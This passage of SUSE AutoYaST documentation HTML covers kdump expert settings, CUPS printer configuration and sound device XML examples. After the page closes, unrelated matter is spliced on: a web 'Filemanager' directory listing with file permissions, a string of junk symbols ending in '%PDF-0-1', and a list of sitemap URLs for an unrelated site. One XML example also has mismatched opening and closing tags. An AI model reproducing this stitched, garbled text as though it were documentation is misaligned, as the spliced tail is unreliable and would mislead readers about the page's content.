        </td></tr><tr><td>
         <p>
          <code class="literal">KDUMP_COMMANDLINE_APPEND</code>
         </p>
        </td><td>
         <p>
          Additional command line parameters for the Kdump kernel.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;KDUMP_COMMANDLINE_APPEND
&gt;console=ttyS0,57600&lt;/KDUMP_COMMANDLINE_APPEND&gt;</pre></div>
        </td><td>
         <p>
          optional
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">KDUMP_Command Line</code>
         </p>
        </td><td>
         <p>
          Overwrite the automatically generated Kdump command line. Use with
          care. Usually, <code class="literal">KDUMP_COMMANDLINE_APPEND</code> should
          suffice.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;KDUMP_COMMANDLINE_APPEND
&gt;root=/dev/sda5 maxcpus=1 irqpoll&lt;/KDUMP_COMMANDLINE&gt;</pre></div>
        </td><td>
         <p>
          optional
         </p>
        </td></tr></tbody></table></div></div></div><div class="sect2 " id="CreateProfile.kdump.expert"><div class="titlepage"><div><div><h3 class="title" id="CreateProfile.kdump.expert"><span class="number">4.20.5 </span><span class="name">Expert Settings</span> <a title="Permalink" class="permalink" href="configuration.html#CreateProfile.kdump.expert">#</a></h3></div></div></div><div class="table" id="idm140013828498752"><div class="table-title-wrap"><h6 class="table-title"><span class="number">Table 4.11: </span><span class="name">Expert Settings: XML Representations </span><a title="Permalink" class="permalink" href="configuration.html#idm140013828498752">#</a></h6></div><div class="table-contents"><table summary="Expert Settings: XML Representations" border="1"><colgroup><col /><col /><col /></colgroup><thead><tr><th>
         <p>
          Element
         </p>
        </th><th>
         <p>
          Description
         </p>
        </th><th>
         <p>
          Comment
         </p>
        </th></tr></thead><tbody><tr><td>
         <p>
          <code class="literal">KDUMP_IMMEDIATE_REBOOT</code>
         </p>
        </td><td>
         <p>
          <code class="literal">true</code> if the system should be rebooted
          automatically after the dump has been saved,
          <code class="literal">false</code> otherwise. The default is to reboot the
          system automatically.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;KDUMP_IMMEDIATE_REBOOT
&gt;true&lt;/KDUMP_IMMEDIATE_REBOOT&gt;</pre></div>
        </td><td>
         <p>
          optional
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">KDUMP_VERBOSE</code>
         </p>
        </td><td>
         <p>
          Bitmask that specifies how verbose the Kdump process should be.
          Read kdump(5) for details.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;KDUMP_VERBOSE&gt;3&lt;/KDUMP_VERBOSE&gt;</pre></div>
        </td><td>
         <p>
          optional
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">KEXEC_OPTIONS</code>
         </p>
        </td><td>
         <p>
          Additional options that are passed to kexec when loading the Kdump
          kernel. Normally empty.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;KEXEC_OPTIONS&gt;--noio&lt;/KEXEC_OPTIONS&gt;</pre></div>
        </td><td>
         <p>
          optional
         </p>
        </td></tr></tbody></table></div></div></div></div><div class="sect1 " id="CreateProfile.Hardware"><div class="titlepage"><div><div><h2 class="title" id="CreateProfile.Hardware"><span class="number">4.21 </span><span class="name">Miscellaneous Hardware and System Components</span> <a title="Permalink" class="permalink" href="configuration.html#CreateProfile.Hardware">#</a></h2></div></div></div><p>
    In addition to the core component configuration, like network
    authentication and security, AutoYaST offers a wide range of hardware and
    system configuration options, the same as available by default on any
    system installed manually and in an interactive way. For example, it is
    possible to configure printers, sound devices, TV cards and any other
    hardware components which have a module within YaST.
   </p><p>
    Any new configuration options added to YaST will be automatically
    available in AutoYaST.
   </p><div class="sect2 " id="CreateProfile.Hardware.Printer"><div class="titlepage"><div><div><h3 class="title" id="CreateProfile.Hardware.Printer"><span class="number">4.21.1 </span><span class="name">Printer</span> <a title="Permalink" class="permalink" href="configuration.html#CreateProfile.Hardware.Printer">#</a></h3></div></div></div><p>
     AutoYaST support for printing is limited to basic settings defining how
     CUPS is used on a client for printing via the network.
    </p><p>
     There is no AutoYaST support for setting up local print queues. Modern
     printers are usually connected via USB. CUPS accesses USB printers by a
     model-specific device URI like
     <code class="literal">usb://ACME/FunPrinter?serial=1a2b3c</code>. Usually it is
     not possible to predict the correct USB device URI in advance, because
     it is determined by the CUPS back-end <code class="literal">usb</code> during
     runtime. Therefore it is not possible to set up local print queues with
     AutoYaST.
    </p><p>
     Basics on how CUPS is used on a client workstation to print via
     network:
    </p><p>
     On client workstations application programs submit print jobs to the
     CUPS daemon process (<code class="systemitem">cupsd</code>).
     <code class="systemitem">cupsd</code> forwards the print jobs to a CUPS print
     server in the network where the print jobs are processed. The server
     sends the printer specific data to the printer device.
    </p><p>
     If there is only a single CUPS print server in the network, there is no
     need to have a CUPS daemon running on each client workstation. Instead
     it is simpler to specify the CUPS server in
     <code class="filename">/etc/cups/client.conf</code> and access it directly (only
     one CUPS server entry can be set). In this case application programs
     that run on client workstations submit print jobs directly to the
     specified CUPS print server.
    </p><p>
     <a class="xref" href="configuration.html#printer.conf" title="Printer configuration">Example 4.34, “Printer configuration”</a> shows a <code class="literal">printer</code>
     configuration section. The <code class="literal">cupsd_conf_content</code> entry
     contains the whole verbatim content of the
     <code class="systemitem">cupsd</code> configuration file
     <code class="filename">/etc/cups/cupsd.conf</code>. The
     <code class="literal">client_conf_content</code> entry contains the whole
     verbatim content of <code class="filename">/etc/cups/client.conf</code>. The
     <code class="literal">printer</code> section contains the
     <code class="systemitem">cupsd</code> configuration but it does
     not specify whether the cupsd should run.
    </p><div class="example" id="printer.conf"><div class="example-title-wrap"><h6 class="example-title"><span class="number">Example 4.34: </span><span class="name">Printer configuration </span><a title="Permalink" class="permalink" href="configuration.html#printer.conf">#</a></h6></div><div class="example-contents"><div class="verbatim-wrap"><pre class="screen">  &lt;printer&gt;
    &lt;client_conf_content&gt;
      &lt;file_contents&gt;&lt;![CDATA[
... verbatim content of /etc/cups/client.conf ...
]]&gt;&lt;/file_contents&gt;
    &lt;/client_conf_content&gt;
    &lt;cupsd_conf_content&gt;
      &lt;file_contents&gt;&lt;![CDATA[
... verbatim content of /etc/cups/cupsd.conf ...
]]&gt;&lt;/file_contents&gt;
    &lt;/cupsd_conf_content&gt;
  &lt;/printer&gt;</pre></div></div></div><div id="idm140013830716240" class="admonition note"><img class="symbol" alt="Note" title="Note" src="static/images/icon-note.png" /><h6>Note: <code class="filename">/etc/cups/cups-files.conf</code></h6><p>
      With release 1.6 the CUPS configuration file has been split into two
      files: <code class="filename">cupsd.conf</code> and
      <code class="filename">cups-files.conf</code>. As of <span class="productname"><span class="phrase">SUSE Linux Enterprise Server</span></span> 12,
      AutoYaST only supports modifying <code class="filename">cupsd.conf</code> since
      the default settings in <code class="filename">cups-files.conf</code> are
      sufficient for usual printing setups.
     </p></div></div><div class="sect2 " id="CreateProfile.Hardware.Sound"><div class="titlepage"><div><div><h3 class="title" id="CreateProfile.Hardware.Sound"><span class="number">4.21.2 </span><span class="name">Sound devices</span> <a title="Permalink" class="permalink" href="configuration.html#CreateProfile.Hardware.Sound">#</a></h3></div></div></div><p>
     An example of the sound configuration created using the configuration
     system is shown below.
    </p><div class="example" id="idm140013830709776"><div class="example-title-wrap"><h6 class="example-title"><span class="number">Example 4.35: </span><span class="name">Sound configuration </span><a title="Permalink" class="permalink" href="configuration.html#idm140013830709776">#</a></h6></div><div class="example-contents"><div class="verbatim-wrap"><pre class="screen">&lt;sound&gt;
  &lt;autoinstall config:type="boolean"&gt;true&lt;/autoinstall&gt;
  &lt;modules_conf config:type="list"&gt;
    &lt;module_conf&gt;
      &lt;alias&gt;snd-card-0&lt;/alias&gt;
      &lt;model&gt;M5451, ALI&lt;/model&gt;
      &lt;module&gt;snd-ali5451&lt;/module&gt;
      &lt;options&gt;
        &lt;snd_enable&gt;1&lt;/snd_enable&gt;
        &lt;snd_index&gt;0&lt;/snd_index&gt;
        &lt;snd_pcm_channels&gt;32&lt;/snd_pcm_channels&gt;
      &lt;/options&gt;         
    &lt;/module_conf&gt;
  &lt;/modules_conf&gt;
  &lt;volume_settings config:type="list"&gt;
    &lt;listentry&gt;
      &lt;Master config:type="integer"&gt;75&lt;/Master&gt;
    &lt;/listentry&gt;
  &lt;/volume_settings&gt;
&lt;/sound&gt;</pre></div></div></div></div></div></div></div><div class="page-bottom"><div id="_bottom-navigation"><a class="nav-link" href="rulesandclass.html"><span class="next-icon">→</span><span class="nav-label"><span class="number">Chapter 5 </span>Rules and Classes</span></a><a class="nav-link" href="CreateProfile.html"><span class="prev-icon">←</span><span class="nav-label"><span class="number">Chapter 3 </span>Creating A Control File</span></a></div><div id="_share-print"><div class="online-contents share"><strong>Share this page: </strong><span class="share-buttons"><span id="_share-fb" class="bottom-button">Facebook</span><span class="spacer"> • </span><span id="_share-gp" class="bottom-button">Google+</span><span class="spacer"> • </span><span id="_share-tw" class="bottom-button">Twitter</span><span class="spacer"> • </span><span id="_share-mail" class="bottom-button">E-Mail</span></span></div><div class="print"><span id="_print-button" class="bottom-button">Print this page</span></div><div class="clearme"></div></div></div></div><div id="_inward"></div></div><div id="_footer-wrap"><div id="_footer"><p>©
        2015 
        SUSE</p><ul><li><a href="http://www.suse.com/company/careers/" target="_top">Careers</a></li><li><a href="http://www.suse.com/company/legal/" target="_top">Legal</a></li><li><a href="http://www.suse.com/company/" target="_top">About</a></li><li><a href="http://www.suse.com/ContactsOffices/contacts_offices.jsp" target="_top">Contact Us</a></li></ul></div></div></body></html>

Filemanager

Name Type Size Permission Actions
images Folder 0755
static Folder 0755
CreateProfile.html File 17.26 KB 0644
Invoking.html File 42.54 KB 0644
Profile.html File 19.89 KB 0644
app.ay.docupdates.html File 22.78 KB 0644
appendix.linuxrc.html File 22.66 KB 0644
bk04apd.html File 31.8 KB 0644
book.autoyast.html File 30.16 KB 0644
configuration.html File 262.86 KB 0644
handlingrules.html File 8.58 KB 0644
index.html File 30.16 KB 0644
introduction.html File 15.04 KB 0644
rulesandclass.html File 46.1 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml